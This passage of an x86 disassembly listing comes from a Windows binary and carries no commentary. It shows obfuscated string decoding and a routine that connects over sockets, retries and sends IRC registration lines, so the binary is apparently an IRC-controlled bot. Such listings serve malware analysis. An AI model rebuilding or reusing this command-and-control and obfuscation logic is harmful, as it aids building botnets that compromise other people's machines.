		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_40F53A:				; CODE XREF: ___:0040F505j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F561:				; CODE XREF: ___:0040F4D4j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F660	proc near		; CODE XREF: sub_401D16j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40F660	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F6D0	proc near		; CODE XREF: sub_40169Fj

var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F6D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E88
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_40142E
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401753
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401753
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401753
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401753
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401753
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401753
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401753
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401753
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401753
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401753
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401753
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401753
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401753
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401753
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_40172B
		mov	dword ptr [edi], offset	off_43F034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_448F40
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43F028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015E1
		nop
		call	near ptr 27F0BB0h
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017EE
		push	eax
		push	offset dword_4490CC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019C4
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D4
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017EE
		push	eax
		push	offset dword_4490D8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017EE
		push	eax
		push	offset dword_4490DC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017EE
		push	eax
		push	offset dword_4490E0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017EE
		push	eax
		push	offset dword_4490E4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017EE
		push	eax
		push	offset dword_4490E8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017EE
		push	eax
		push	offset dword_4490EC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F0
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017EE
		push	eax
		push	offset dword_4490F4
		call	sub_401D16
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017EE
		push	eax
		push	offset dword_4490F8
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017EE
		push	eax
		push	offset dword_4490FC
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017EE
		push	eax
		push	offset dword_449100
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017EE
		push	eax
		push	offset dword_449104
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017EE
		push	eax
		push	offset dword_449108
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017EE
		push	eax
		push	offset dword_44910C
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019C4
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017EE
		push	eax
		push	offset dword_449110
		call	sub_401D16
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F6D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE40	proc near		; CODE XREF: ___:004019D3j sub_401A4Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C5
sub_40FE40	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FE58
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FE58:				; CODE XREF: ___:0040FE4Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FE70	proc near		; CODE XREF: sub_4013C5j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FE70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F028
		mov	dword ptr [esi+11h], offset off_43F034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B68
sub_40FE70	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_40204F
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410030	proc near		; CODE XREF: sub_402149j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43A8D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_40142E
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411400


loc_410072:				; CODE XREF: sub_410030+13CAj
		mov	al, byte_4E8E54
		mov	edi, dword_5118AC
		cmp	al, bl
		jz	loc_411400
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_41009A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_4100A4
		cmp	eax, ebx
		jz	loc_4101DE


loc_41009A:				; CODE XREF: sub_410030+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_4101DE


loc_4100A4:				; CODE XREF: sub_410030+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_4100B9
		push	eax
		nop
		call	near ptr 71AB9639h


loc_4100B9:				; CODE XREF: sub_410030+80j
		mov	ecx, offset word_44AC6E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401541
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_4100E9
		mov	[ebp+20h], ebx


loc_4100E9:				; CODE XREF: sub_410030+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_4493FD
		mov	ecx, offset word_44ACE6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACE6
		add	eax, 1B6h
		push	eax
		push	offset dword_4493B4
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACE6
		push	edx
		push	offset dword_449290
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_449322
		mov	ecx, offset word_44ACE6
		call	sub_401F50
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401474
		mov	eax, [eax]
		mov	ecx, offset word_44ACE6
		add	eax, 0DBh
		push	eax
		push	offset byte_4492D9
		call	sub_401F50
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401474
		mov	edx, [eax]
		mov	ecx, offset word_44ACE6
		add	edx, 92h
		push	edx
		push	offset byte_44936B
		call	sub_401F50
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401474
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_44948F
		mov	ecx, offset word_44ACE6
		call	sub_401F50
		call	edi
		mov	[ebp+24h], eax


loc_4101DE:				; CODE XREF: sub_410030+64j
					; sub_410030+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410208
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2840000h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410208:				; CODE XREF: sub_410030+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_410398
		mov	ax, word_44933C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, offset byte_4492D9
		mov	[esp+24h+arg_1E], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410288
		push	2710h
		nop
		call	near ptr 2840000h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410288:				; CODE XREF: sub_410030+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		nop
		call	near ptr 71AB951Eh
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5F67AE
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015E1
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_448F40
		mov	ecx, offset byte_44936B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410357
		mov	ecx, offset byte_44936B
		call	sub_4017EE
		mov	edx, dword_4490EC
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h


loc_410357:				; CODE XREF: sub_410030+305j
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490F4
		push	eax
		mov	ecx, offset byte_4E8E55
		call	sub_4017EE
		mov	ecx, dword_4490F0
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 1Ch
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410398:				; CODE XREF: sub_410030+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_4113F0
		nop
		call	near ptr 27F0BB0h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CD0
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A9B
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410470
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset dword_4493B4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410474


loc_410470:				; CODE XREF: sub_410030+3EAj
		mov	[esp+20h+var_D], bl


loc_410474:				; CODE XREF: sub_410030+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410496
		mov	byte ptr [ebp+16h], 1
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410496:				; CODE XREF: sub_410030+45Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490CC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410534
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490E8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410662
; ---------------------------------------------------------------------------


loc_410534:				; CODE XREF: sub_410030+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016B8
		mov	ecx, dword_4490D0
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	loc_4106A0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_448F40
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E8
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410667
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
